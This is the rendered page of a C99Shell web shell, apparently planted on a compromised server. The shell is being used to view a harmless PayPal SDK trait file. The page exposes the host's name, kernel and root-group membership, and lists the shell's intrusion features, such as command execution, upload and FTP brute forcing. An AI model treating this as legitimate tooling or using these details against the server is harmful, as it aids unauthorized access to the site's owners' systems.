!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smabpro.picotech.app/public_html/vendor/srmklive/paypal/src/Traits/   drwxr-xr-x
Free 28.68 GB of 117.98 GB (24.31%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     PayPalExperienceContext.php (2.64 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Srmklive\PayPal\Traits;

trait 
PayPalExperienceContext
{
    
/**
     * @var array
     */
    
protected $experience_context = [];

    
/**
     * Set Brand Name when setting experience context for payment.
     *
     * @param string $brand
     *
     * @return \Srmklive\PayPal\Services\PayPal
     */
    
public function setBrandName(string $brand): \Srmklive\PayPal\Services\PayPal
    
{
        
$this->experience_context array_merge($this->experience_context, [
            
'brand_name' => $brand,
        ]);

        return 
$this;
    }

    
/**
     * Set return & cancel urls.
     *
     * @param string $return_url
     * @param string $cancel_url
     *
     * @return \Srmklive\PayPal\Services\PayPal
     */
    
public function setReturnAndCancelUrl(string $return_urlstring $cancel_url): \Srmklive\PayPal\Services\PayPal
    
{
        
$this->experience_context array_merge($this->experience_context, [
            
'return_url' => $return_url,
            
'cancel_url' => $cancel_url,
        ]);

        return 
$this;
    }

    
/**
     * Set stored payment source.
     *
     * @param string      $initiator
     * @param string      $type
     * @param string      $usage
     * @param bool        $previous_reference
     * @param string|null $previous_transaction_id
     * @param string|null $previous_transaction_date
     * @param string|null $previous_transaction_reference_number
     * @param string|null $previous_transaction_network
     *
     * @return \Srmklive\PayPal\Services\PayPal
     */
    
public function setStoredPaymentSource(string $initiatorstring $typestring $usagebool $previous_reference falsestring $previous_transaction_id nullstring $previous_transaction_date nullstring $previous_transaction_reference_number nullstring $previous_transaction_network null): \Srmklive\PayPal\Services\PayPal
    
{
        
$this->experience_context array_merge($this->experience_context, [
            
'stored_payment_source' => [
                
'payment_initiator' => $initiator,
                
'payment_type'      => $type,
                
'usage'             => $usage,
            ],
        ]);

        if (
$previous_reference === true) {
            
$this->experience_context['stored_payment_source']['previous_network_transaction_reference'] = [
                
'id'                        => $previous_transaction_id,
                
'date'                      => $previous_transaction_date,
                
'acquirer_reference_number' => $previous_transaction_reference_number,
                
'network'                   => $previous_transaction_network,
            ];
        }

        return 
$this;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0073 ]--